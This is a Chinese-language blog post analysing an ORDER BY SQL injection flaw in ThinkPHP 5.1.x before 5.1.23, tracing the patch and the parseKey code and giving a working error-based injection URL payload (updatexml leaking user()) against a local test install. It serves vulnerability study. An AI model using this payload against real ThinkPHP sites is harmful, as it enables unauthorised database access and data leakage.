thinkphp 5.1.x order by注入分析

0x00 影响版本

1
2
3
漏洞影响版本

thinkphp5.1.x < 5.1.23

0x01 漏洞分析

首先看一下官方commit
kAaYdK.png

payload

1
http://127.0.0.1/thinkphp5.1-master/public/index.php?order[id`,%27boo%27)|%20updatexml(1,concat(0x3c,user(),0x3e),1)%23][]=1

由补丁可以看出,当val是数组时增加了对key的判断,那么问题应该出在未对key进行过滤,而key被带进入parseOrderField中,跟踪一下。这里getOptions()函数是获取了当前要查询的参数,getFieldsBind()函数是获取数据表绑定信息。
kAsFtP.png
查看最后的return语句,这里将val拼接到key的后面,那么这个val值其实是不用的,只要key值可控,就可以将后面的注释掉

1
return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort;

因为这里parseKey对key进行了处理,继续跟进。
kAso38.png
这里对key值进行了多重判断

1
2
3
4
5
6
7
1. is_numeric判断,如果是数字,则返回,不是的话继续向下执行

2. 判断$key是否属于Expression类

3. strpos($key, '->') && false ===strpos($key, '(')

4. ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key)))

这里注入的sql语句进入了第四个判断,即将key用包裹。

1
2
3
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}

然后回到上一层,进行拼接返回

1
return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort;

拼接得到 field(SQL注入语句,$val) 可以看到我们需要对`闭合并且注释掉后面的内容。

两外field()函数,field()函数必须指定大于等于两个字段才可以正常运行,否则就会报错。而且当field中的参数不是字符串或数字时,指定的参数必须是正确的表字段,否则程序就会报错。这里由于程序会在第一个字段中加 限制,所以必须指定正确的字段名称。第二个字段没有限制,可以指定字符串或数字。

那么payload 可以是

1
http://127.0.0.1/thinkphp5.1-master/public/index.php?order[id`,'boo')|%20updatexml(1,concat(0x3c,user(),0x3e),1)#][]=1

0x02 后记

因为tp5 pdo的原因,还是不能进行子查询。

天融信关于ThinkPHP 5.1.x SQL注入漏洞分析

本文标题:thinkphp 5.1.x order by注入分析

文章作者:boogle

发布时间:2019年01月24日 - 22:02

最后更新:2019年03月07日 - 11:38

原始链接:https://zhengbao.wang/thinkphp-5-1-x-order-by注入分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗